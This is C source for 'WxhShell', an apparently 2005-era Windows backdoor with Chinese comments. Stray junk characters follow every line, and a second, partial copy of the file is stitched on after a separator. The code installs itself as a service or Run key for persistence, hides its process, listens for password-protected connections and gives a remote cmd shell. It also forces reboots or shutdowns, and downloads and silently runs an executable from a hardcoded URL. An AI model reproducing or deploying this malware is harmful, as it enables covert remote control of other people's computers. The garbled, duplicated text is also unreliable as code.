    if(Boot(SHUTDOWN)) lbl?k5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a>I+]`g  
    else { _ y8Wn}19f  
    closesocket(wsh); :Cs4NF   
    ExitThread(0); f=gW]x7'R+  
    } .p]RKS=(:  
    break; k(7&N0V%zz  
    } iYm-tsER;  
  // 获取shell ']z{{UNUN  
  case 's': { x vl#w  
    CmdShell(wsh); x '>9d  
    closesocket(wsh); 4`]^@"{  
    ExitThread(0); ,|H `e^  
    break; }1i`6`y1  
  } VfC<WVYiZ  
  // 退出 Rmt~,cW!\  
  case 'x': { [KaAXv .X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V0.vQ/  
    CloseIt(wsh); jaMjZp;{(  
    break; s;Z\Io  
    } dx{bB%?Y\=  
  // 离开 u^bidd6JRn  
  case 'q': { (G4at2YLd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); # 0Q]dO  
    closesocket(wsh); hl(hJfp  
    WSACleanup(); 1&evG-#<:  
    exit(1); Gm.T;fc:  
    break; u jq=F  
        } 9gEwh<  
  } C>j@,G4  
  } _] sn0rX  
1AfnzGvA  
  // 提示信息 #+HJA42  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xU>WEm2  
} \lf;P?M^  
  } #9}D4i.`}  
u#;7<.D  
  return; lVR~Bh  
} T?soJ]A  
E=CsIK   
// shell模块句柄 8Pn#+IvCE  
int CmdShell(SOCKET sock) %x{kc3PnO  
{ m=A(NKZ   
STARTUPINFO si; >G*eNn  
ZeroMemory(&si,sizeof(si)); foF({4q7b^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %.Fi4}+O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i,E{f  
PROCESS_INFORMATION ProcessInfo; w QH<gJE/:  
char cmdline[]="cmd"; rc>4vB_ha  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K>r,(zgVc  
  return 0; )=Z>#iH1  
} ]J}  
3kIN~/<R+7  
// 自身启动模式 +N9X/QFKV  
int StartFromService(void) ?{|q5n  
{ \y)rt )  
typedef struct w\}ieI8J  
{ % X+:o]T  
  DWORD ExitStatus; THbh%)Zv+  
  DWORD PebBaseAddress; '()xHEGl3  
  DWORD AffinityMask; }=UHbU.n~!  
  DWORD BasePriority; ?'Xj g#}<  
  ULONG UniqueProcessId; F2dHH^  
  ULONG InheritedFromUniqueProcessId; ogtEAv~e7N  
}   PROCESS_BASIC_INFORMATION; M7a.8-!1  
m!4ndO;0vh  
PROCNTQSIP NtQueryInformationProcess; fc%xS7&  
uK#4(eY=W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '(VJ&UlS2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y. 5_6'Eo?  
gsv uE  
  HANDLE             hProcess; a 3b/e8c  
  PROCESS_BASIC_INFORMATION pbi; Lh"<XYY  
f/NH:1)y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iNz=e=+Si  
  if(NULL == hInst ) return 0;  |`f$tj  
}~j lj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1N^[.=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z8~NZ;A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #`iB`|  
.hP D$o  
  if (!NtQueryInformationProcess) return 0; I^]2K0+x x  
*_{j=sd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /k6MzFoid  
  if(!hProcess) return 0; *{@Nq=fE  
c9'vDTE%~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KB,j7 ~V  
;| 5F[  
  CloseHandle(hProcess); zh`<WN&H  
wj<6kG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G<8/F<m/  
if(hProcess==NULL) return 0; gJXq^~-hd  
9ni1f{k  
HMODULE hMod;  $s c  
char procName[255]; dA`IEQJL  
unsigned long cbNeeded; #$+*;  
tr3! d_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?|C2*?hZ+  
%lx!. G  
  CloseHandle(hProcess); @* jz o  
e&F8m%t  
if(strstr(procName,"services")) return 1; // 以服务启动 vnt%XU,,Y  
hh)`645=x  
  return 0; // 注册表启动 x{8xW0  
} fZzoAzfv2  
|&nS|2.'  
// 主模块 qIE9$7*X  
int StartWxhshell(LPSTR lpCmdLine) V/LLaZ TE  
{ [M}{G5U.  
  SOCKET wsl; '8. r-`l(  
BOOL val=TRUE; /?'FE 7Y  
  int port=0; #7 $ H  
  struct sockaddr_in door; )VS=E7[  
/P3 <"?#k  
  if(wscfg.ws_autoins) Install(); R)( T^V`{  
:WS@=sZN  
port=atoi(lpCmdLine); B =T'5&  
>`mVY=H i  
if(port<=0) port=wscfg.ws_port; L>&t|T2  
D~fl JR  
  WSADATA data; b-?gw64#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sPQQ"|wU  
) 0W{]2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l0w]`EE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m@F`!qY~Y\  
  door.sin_family = AF_INET; Q&ptc>{bH6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x8\?}UnB  
  door.sin_port = htons(port); JCzeXNY  
=sU<S,a*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D~iz+{Q4  
closesocket(wsl); -1_)LO&H  
return 1; $q{!5-e  
} Y;Dp3v !  
m%?pf2%I#  
  if(listen(wsl,2) == INVALID_SOCKET) { xY8$I6  
closesocket(wsl); Jbg/0|1  
return 1; o5O#vW2Il&  
} (k)v!O-  
  Wxhshell(wsl); ww3-^v  
  WSACleanup(); z`}qkbvi  
1;8UC;,  
return 0; S-b/S5  
?V.cOR`6  
} w\u=)3qyVV  
8)3*6+D  
// 以NT服务方式启动 cN6X#D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EhvX)s  
{ %y[h5*y*  
DWORD   status = 0; DGF5CK.O  
  DWORD   specificError = 0xfffffff; CL;}IBd a  
OU.6bmWy|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JPUW6e07o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,0Hr2*p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mh #a#<  
  serviceStatus.dwWin32ExitCode     = 0; 4G0m\[Du  
  serviceStatus.dwServiceSpecificExitCode = 0; nYSiS}?S .  
  serviceStatus.dwCheckPoint       = 0; |O+H[;TB6  
  serviceStatus.dwWaitHint       = 0; 7#a-u<HF"  
h0f;F@I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~?Pw& K2  
  if (hServiceStatusHandle==0) return; 6OIte -c  
eA?RK.e  
status = GetLastError(); I)[DTCJ~  
  if (status!=NO_ERROR) aCj&O:]=  
{ :#ik. D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^|>PA:%  
    serviceStatus.dwCheckPoint       = 0; n\D&!y[]F  
    serviceStatus.dwWaitHint       = 0; P=Jo+4O  
    serviceStatus.dwWin32ExitCode     = status; uym*a4J  
    serviceStatus.dwServiceSpecificExitCode = specificError; "| g>'wM*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9YyLf;  
    return; At>DjKx]O  
  } U&OJXJd j  
6l1jMm|= X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g2ixx+`?|:  
  serviceStatus.dwCheckPoint       = 0; lU\ [aNs  
  serviceStatus.dwWaitHint       = 0; ]^7@}Ce_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h"Q8b}$^)  
} 5d^sA;c  
5m 4P\y^a  
// 处理NT服务事件,比如:启动、停止 MrFQ5:=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y =I'czg  
{  A,<E\  
switch(fdwControl) iy!=6  
{ n'LrQU  
case SERVICE_CONTROL_STOP: Uz8ff  
  serviceStatus.dwWin32ExitCode = 0; #A/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rsk4L0  
  serviceStatus.dwCheckPoint   = 0; $GcqBg-Hi  
  serviceStatus.dwWaitHint     = 0; ]p GL`ge5  
  { q`7PhA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\c ^*K(9  
  } hWLA<wdb  
  return; v{N`.~,^  
case SERVICE_CONTROL_PAUSE: pE0Sw}A:9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2MIi=c:oqK  
  break; ^ VyKd  
case SERVICE_CONTROL_CONTINUE: ,R\ \%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3(N$nsi  
  break; NwvC[4  
case SERVICE_CONTROL_INTERROGATE: ,/2Vt/lt  
  break; RSRS wkC  
}; {\1?ZrCI&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \?-<4Bc@  
} Hzz %3}E  
yx[/|nZDC4  
// 标准应用程序主函数 '<)n8{3Q5w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eC4[AX6e  
{ 8kIksy  
2@],ZLa  
// 获取操作系统版本 ML 9' |  
OsIsNt=GetOsVer(); )2o?#8J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h7oo7AP  
JPHL#sKyz  
  // 从命令行安装 +3BN}  
  if(strpbrk(lpCmdLine,"iI")) Install(); J*A,o~U|  
| YWD8 +  
  // 下载执行文件 C.-,^+t;g  
if(wscfg.ws_downexe) { [|$h*YK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {S)6;|ua'  
  WinExec(wscfg.ws_filenam,SW_HIDE); `$ 9x1dx  
} a58H9w"u)  
fTec  
if(!OsIsNt) { 9W5lSX#^;  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;H*T^0  
HideProc(); eo?bL$A[s  
StartWxhshell(lpCmdLine); ;igIZ$&  
} c)85=T6*aA  
else ^{`exCwM x  
  if(StartFromService()) q.bSIV|  
  // 以服务方式启动 'H>^2C iM  
  StartServiceCtrlDispatcher(DispatchTable); 5C ]x!>kX  
else ,&.!?0+  
  // 普通方式启动 !;A\.~-!G  
  StartWxhshell(lpCmdLine); %sP*=5?vA  
q?yVR3]M  
return 0; ]%H`_8<gc  
} q54]1TQ  
tDcT%D {:  
q<|AZ2Ai  
tcI*a>  
=========================================== (?c"$|^J  
FVKTbvYn  
dZ@63a>>@  
{JT&w6Jz  
f8dB-FlMm  
&p@O _0nF  
" qEOhwrh  
Yj49t_$b  
#include <stdio.h> v\ )W?i*l  
#include <string.h> M%m4i9~!?  
#include <windows.h> d7upz]K9g  
#include <winsock2.h> U iW>J  
#include <winsvc.h> g! |kp?  
#include <urlmon.h> ;6$jf:2m  
KZE,bi: ~  
#pragma comment (lib, "Ws2_32.lib") rb.N~  
#pragma comment (lib, "urlmon.lib") n_A3#d<9  
vk^xT  
#define MAX_USER   100 // 最大客户端连接数 n7[V&`e_  
#define BUF_SOCK   200 // sock buffer 1Pu~X \sO  
#define KEY_BUFF   255 // 输入 buffer lL3U8}vn  
*g2x%aZWbG  
#define REBOOT     0   // 重启 CA~-rv  
#define SHUTDOWN   1   // 关机 ?6U0PChy  
R-$!9mnr  
#define DEF_PORT   5000 // 监听端口 _Fl9>C"u  
U[MA)41  
#define REG_LEN     16   // 注册表键长度 )ez9"# MH'  
#define SVC_LEN     80   // NT服务名长度 W|mo5qrLS2  
m-, x<bM?  
// 从dll定义API PJH&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3]S$ih&A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gM:".Ee  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (\x]YMLH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wIt}dc  
Fx.=#bVX7  
// wxhshell配置信息 Dp9+HA9t  
struct WSCFG { (!WD1w   
  int ws_port;         // 监听端口  =7eV/3  
  char ws_passstr[REG_LEN]; // 口令 8d'0N  
  int ws_autoins;       // 安装标记, 1=yes 0=no (jE9XxQY  
  char ws_regname[REG_LEN]; // 注册表键名 6i/(5 nQ  
  char ws_svcname[REG_LEN]; // 服务名 26h21Z16q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b ]KBgZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R\[e!g*I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sPIn|d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;i+jJ4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  b>ySv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $!t4r  
Km$\:Xo  
}; _t^&Ah*  
Dlvz )  
// default Wxhshell configuration NzvXN1_%  
struct WSCFG wscfg={DEF_PORT, +I28|*K"  
    "xuhuanlingzhe", \9T7A&  
    1, K$=zi}J W  
    "Wxhshell", 6'f;-2  
    "Wxhshell", #H~64/  
            "WxhShell Service", M\BRcz  
    "Wrsky Windows CmdShell Service", 0g8NHkM:2a  
    "Please Input Your Password: ", K-Ef%a2#`  
  1, ]Y&VT7+Z  
  "http://www.wrsky.com/wxhshell.exe", ;$g?T~v7  
  "Wxhshell.exe" @r1_U,0e  
    }; f/?P514h  
(tW`=]z-<  
// 消息定义模块 BI@[\aRLQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S_H+WfIHV'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dR]m8mdqc1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pQB."[n  
char *msg_ws_ext="\n\rExit."; %xLh Z\  
char *msg_ws_end="\n\rQuit."; xAm6BB c  
char *msg_ws_boot="\n\rReboot..."; Ny/MJ#Lq  
char *msg_ws_poff="\n\rShutdown..."; $F.a><1rY  
char *msg_ws_down="\n\rSave to "; [$UI8tV  
dM@1l1h/  
char *msg_ws_err="\n\rErr!"; J{G?-+`  
char *msg_ws_ok="\n\rOK!"; @H8EWTZ  
s eJ^s@H5l  
char ExeFile[MAX_PATH]; {' H(g[k  
int nUser = 0; :ShT|n7  
HANDLE handles[MAX_USER]; jPkn[W# 6  
int OsIsNt; <#4h}_xA%  
E]r?{t`]  
SERVICE_STATUS       serviceStatus; w0unS`\4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |R:'\+E  
wMN]~|z>  
// 函数声明 |_U= z;Y  
int Install(void); >9J:Uo1z  
int Uninstall(void); Tlr v={  
int DownloadFile(char *sURL, SOCKET wsh); Xch~ 1K  
int Boot(int flag); .=; ;  
void HideProc(void); )V9bI(v  
int GetOsVer(void); lp8v0e4  
int Wxhshell(SOCKET wsl); dj%!I:Q>u  
void TalkWithClient(void *cs); BY*8ri^u  
int CmdShell(SOCKET sock); #g!.T g'  
int StartFromService(void); alb.g>LNPP  
int StartWxhshell(LPSTR lpCmdLine); TA~{1_l  
`Q,H|hp;k;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X}0cCdW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k9F=8q  
wy2 D;;  
// 数据结构和表定义 Eh4= ZEX  
SERVICE_TABLE_ENTRY DispatchTable[] = ?aMOZn?  
{ 69.NPy@  
{wscfg.ws_svcname, NTServiceMain}, TD_Oo-+\  
{NULL, NULL} *Pg2c(Vg  
}; ySI !d|_  
g9F?z2^  
// 自我安装 bg0Wnl  
int Install(void) \l3h0R  
{ m#p'iU*va,  
  char svExeFile[MAX_PATH]; N{>n$ v}  
  HKEY key; > Nr#O  
  strcpy(svExeFile,ExeFile); #X"@<l4F  
kG*~ |ma  
// 如果是win9x系统,修改注册表设为自启动 fF kj+  
if(!OsIsNt) { |wj?ed$ f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +ck}l2&#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FN73+-:n:j  
  RegCloseKey(key); i}?>g-(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %8x#rohP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *{{89E>wC  
  RegCloseKey(key); vvOV2n .WD  
  return 0; B>.qd  
    } zx7{U8*`<  
  } T6k0>[3xf  
} 3+bt~J0  
else { D1;QC  
WX0tgXl  
// 如果是NT以上系统,安装为系统服务 ?z u8)U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ig &Y  
if (schSCManager!=0) E4xa[iZ  
{ !f6(Zho  
  SC_HANDLE schService = CreateService PUX;I0Cf  
  ( Y nZiT e@  
  schSCManager, n'w.; q  
  wscfg.ws_svcname, |^H5^k "Bv  
  wscfg.ws_svcdisp, W@!S%Y9  
  SERVICE_ALL_ACCESS, @s^-.z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sa5G.^ XI  
  SERVICE_AUTO_START, {]|J5Dgfe  
  SERVICE_ERROR_NORMAL, -Y;3I00(  
  svExeFile, *uvQ\.  
  NULL, Xn\jO>[Ef  
  NULL, #R RRu2  
  NULL, 7=, ;h  
  NULL, N17RLz *\  
  NULL & ZB  
  ); 1ZRT:N<-  
  if (schService!=0) ;jTN | i'  
  { 7"xd1l?zz  
  CloseServiceHandle(schService); 6S\8$  
  CloseServiceHandle(schSCManager); {FTqu.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @xZR9Z8]L  
  strcat(svExeFile,wscfg.ws_svcname); RCLeA=/N@0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~^b/(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u> / TE  
  RegCloseKey(key); \5cpFj5%  
  return 0; n{SJ_S#a.a  
    } A. w:h;7  
  } 5E_YEBO/  
  CloseServiceHandle(schSCManager); 2dgd~   
} 4nz35BLr  
} z&^&K}  
k-""_WJ~^  
return 1; C"]^Q)aJN  
} sUm'  
7T'B6`-Ox  
// 自我卸载 r!{Up7uL  
int Uninstall(void) FU<Jp3<%  
{ 7vj2 `+r.  
  HKEY key; dGTsc/$  
:p6M=  
if(!OsIsNt) { O<W_fx8_'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -s'-eQF J  
  RegDeleteValue(key,wscfg.ws_regname); ?P c'C  
  RegCloseKey(key); pFz`}?c0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !$>R j  
  RegDeleteValue(key,wscfg.ws_regname); Nl(Foya%)  
  RegCloseKey(key); VOh4#%Vj  
  return 0; @$K"o7+]   
  } F1Bq$*'N$w  
} _t}WsEQ+P  
} 5+ MS^H  
else { $ o#V#  
8SS|a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h3@v+Z<}  
if (schSCManager!=0) HiJE}V;Vq  
{ P}`H ~N~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B^jc3 VsR  
  if (schService!=0) fa2kG&, _  
  { S`m]f5u|  
  if(DeleteService(schService)!=0) { BJo*'US-Q  
  CloseServiceHandle(schService); mU9kVx1+  
  CloseServiceHandle(schSCManager); ^L&iR0  
  return 0; jOD?|tK&  
  } ib791  
  CloseServiceHandle(schService); _2 osV[e  
  } wo 5   
  CloseServiceHandle(schSCManager); SOvF[,+  
} dN[\xVcj  
} R .2wqkY  
Ef13Q]9|  
return 1; 0Z]!/AsC  
} YkQd  
eO[b1]WLP  
// 从指定url下载文件 (0kK_k'T  
int DownloadFile(char *sURL, SOCKET wsh) @2v_pJy^  
{ =rX>1  
  HRESULT hr; IRqy%@)  
char seps[]= "/"; iM 3V=&)  
char *token; QUQ'3  
char *file; `,*5wBC  
char myURL[MAX_PATH]; 1D!<'`)AY  
char myFILE[MAX_PATH]; liz~7RY4  
WvZ8/T'x  
strcpy(myURL,sURL); 0NX,QD  
  token=strtok(myURL,seps); 4tmAzD  
  while(token!=NULL) l0i^uMS  
  { delu1r  
    file=token; D*|Bb?  
  token=strtok(NULL,seps); ! #2{hQRu  
  } ayF\nk4b  
t}/( b/VD  
GetCurrentDirectory(MAX_PATH,myFILE); 2P{Gxz<#  
strcat(myFILE, "\\"); [Cv/{f3]u{  
strcat(myFILE, file); I?G :p+  
  send(wsh,myFILE,strlen(myFILE),0); r1RM  
send(wsh,"...",3,0); [0D .K}7|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ijx0gh`~  
  if(hr==S_OK) 0>Z_*U~6  
return 0; *% @h(js  
else =+d?x 56  
return 1; 2*#|Nj=^  
4d;8`66O  
} gEE\y{y  
Qv/=&_6  
// 系统电源模块 *<ewS8f*6  
int Boot(int flag) *$ %a:q1U  
{ UByv?KZi  
  HANDLE hToken; cDH^\-z  
  TOKEN_PRIVILEGES tkp; qPfQy  
lQkQ9##*   
  if(OsIsNt) { 2x0<&Xy#P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f^XOUh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {%6`!WW[  
    tkp.PrivilegeCount = 1; Ck7uJI<x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pBA7,z"`mP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~Vjl7G\7i  
if(flag==REBOOT) { q.`NtsW!\+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k7A-J\  
  return 0; h2 ;F  
} Bh]P{H%  
else { '$zIbQ:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y;@:ulv[  
  return 0; $[=%R`~w  
} ,]c 1A$Sr0  
  } 3 xp)a%=7  
  else { pr UM-u8  
if(flag==REBOOT) {  t[ C/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x>`%DwoRI  
  return 0; (mtk 4  
} _MX>#!l  
else { .];=Pu^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (n9g kO&8"  
  return 0; X1vd'>  
} M{hg0/}sUW  
} qR+!l(  
3fQuoQuD"}  
return 1; Dy8r 9  
} cY.bO/&l  
><HE;cVg?  
// win9x进程隐藏模块 l}sjD[2  
void HideProc(void) oj_3ZsO  
{ V-L"gnd&2  
ur7q [n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ut/=R !(K  
  if ( hKernel != NULL ) =D#bb <o  
  { :$BCRQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A#'8X w|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G<rHkt@[  
    FreeLibrary(hKernel); #d2.\X}A"3  
  } z]D69O b  
FZE"7ec>m  
return; Bad:n o\W  
} O~K>4 ax  
gi _5?$  
// 获取操作系统版本 ` 3K)GA  
int GetOsVer(void) EV@X*| w  
{ V~;1IQd{  
  OSVERSIONINFO winfo; ve2u=eQ1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @xYlS5{  
  GetVersionEx(&winfo); k4y 'b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5>N2:9We  
  return 1; D#JL!A%O  
  else >{J(>B\  
  return 0; :mn>0jK,N  
} Cg?&wj<  
d;9FB[MmOJ  
// 客户端句柄模块 R)ITy!z  
int Wxhshell(SOCKET wsl) b-Q>({=i  
{ T&o(N3lW  
  SOCKET wsh; G.dTvLv  
  struct sockaddr_in client; /?F/9hL  
  DWORD myID; !AfHk|  
@;?p&.W`D  
  while(nUser<MAX_USER) q0r>2c-d  
{ 0eu$ W  
  int nSize=sizeof(client); 3r."j2$Hs0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zz4N5["  
  if(wsh==INVALID_SOCKET) return 1; 0Bi.6r  
v+#}rUTF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =\wxsL  
if(handles[nUser]==0) >!bJslWA  
  closesocket(wsh); 0+;bh {Eu  
else  >DZw  
  nUser++; k:F9. j%*  
  } 8MzVOF{"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )@Yf]qx+Y<  
.NC:;@y  
  return 0; x&Kh>PVh\  
} g+>(dnX  
qUGC" <W  
// 关闭 socket };jN\x?&q  
void CloseIt(SOCKET wsh) k" PayyAC  
{ 5T2CISmu  
closesocket(wsh); ``\i58K{e  
nUser--; "8^ Ch{G-  
ExitThread(0); v)t:|Q{I  
} OJ5#4qJ[  
!()$8  
// 客户端请求句柄 wL 4dTc  
void TalkWithClient(void *cs) _zn.K&I-*k  
{ jiS_G%G  
 fc-iAj  
  SOCKET wsh=(SOCKET)cs; ]J$eDbaEjT  
  char pwd[SVC_LEN]; >\=3:gb:  
  char cmd[KEY_BUFF]; :AF =<X*5  
char chr[1]; ;=; 9tX  
int i,j; {rH@gz|@i  
:LRYYw  
  while (nUser < MAX_USER) { LzXmb 7A  
%9N7Ln|%  
if(wscfg.ws_passstr) { h!.^?NF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p#?7 w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Unb? {,&2  
  //ZeroMemory(pwd,KEY_BUFF); :f}9($  
      i=0; *|C^=*j9  
  while(i<SVC_LEN) { T;y>>_,  
>dG;w6y'  
  // 设置超时 b TM{l.Aq3  
  fd_set FdRead; %GA"GYL9'  
  struct timeval TimeOut; evAMJ=  
  FD_ZERO(&FdRead); ,3p~w5C/+[  
  FD_SET(wsh,&FdRead); BJsz2t :0  
  TimeOut.tv_sec=8; W;L7SF g)  
  TimeOut.tv_usec=0; > BY&,4r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wq(7|!Eix  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (@<c6WS  
],FMwCI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uU <=d  
  pwd=chr[0]; _c*=4y  
  if(chr[0]==0xd || chr[0]==0xa) { s{S4J'VW  
  pwd=0; M&@b><B  
  break; X>(TrdK_9"  
  } ~yfNxH~k  
  i++; n}_JB>i~  
    } ")dH,:#S  
V#t%/l  
  // 如果是非法用户,关闭 socket qx8fRIK%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); . Z.)t  
} Mg OR2,cR  
YY)s p%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hp* /#D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E.ly#2?  
ceM6{N<_U  
while(1) { Ov4y %Pj  
o( RG-$  
  ZeroMemory(cmd,KEY_BUFF); =/Mq5.  
=;3Sx::=  
      // 自动支持客户端 telnet标准   7/ysVWt  
  j=0; PMh^(j[  
  while(j<KEY_BUFF) { m-*i>4;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EQ`(yj  
  cmd[j]=chr[0]; {G}.b)9FG  
  if(chr[0]==0xa || chr[0]==0xd) { 0Lc9M-Lg  
  cmd[j]=0; wEE\+3b)  
  break; :xD=`ib  
  } v!Pb`LCqK  
  j++; Nq` C.&  
    } P8>d6;o($  
xA 1hfe.9  
  // 下载文件 WZ7BoDa7O  
  if(strstr(cmd,"http://")) { KgOqbSJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mjfx~I27  
  if(DownloadFile(cmd,wsh)) ~Ro9u p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3O} 6  
  else NufLzg{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sz {e''q  
  } WObvbaK  
  else { qT"Q1xU[  
